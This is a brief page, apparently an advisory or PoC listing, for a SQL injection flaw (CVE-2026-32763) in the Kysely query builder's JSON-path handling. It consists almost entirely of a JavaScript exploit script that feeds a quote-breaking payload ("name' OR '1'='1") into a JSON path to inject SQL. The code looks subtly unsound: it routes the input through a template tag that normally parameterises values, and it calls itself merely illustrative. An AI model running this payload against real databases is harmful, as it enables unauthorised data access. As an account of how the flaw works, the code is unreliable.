CVE-2026-32763 Kysely SQL注入漏洞

// PoC Code for CVE-2026-32763 // Target: Kysely <= 0.28.11 (MySQL/SQLite dialects) const { Kysely, sql } = require('kysely'); // Assume a database connection is established // const db = new Kysely({...}); async function exploit() { // 1. Attacker controls the input used in the JSON path // The single quote is used to break out of the string context const maliciousInput = "name' OR '1'='1"; // 2. Vulnerable Query Construction // The application uses user input to build a JSON path. // In vulnerable versions, the generated SQL looks like: // SELECT * FROM users WHERE JSON_EXTRACT(data, '$."name' OR '1'='1"') // The unescaped single quote allows injecting arbitrary SQL. // Example using the raw expression or helper that maps to visitJSONPathLeg const result = await db .selectFrom('users') .selectAll() .where((eb) => eb( 'json_column', '=', sql`JSON_EXTRACT(json_column, '$.${maliciousInput}')` // Illustrative of the internal concatenation )) .execute(); console.log("Exploit executed. SQL Injected via JSON path."); } exploit();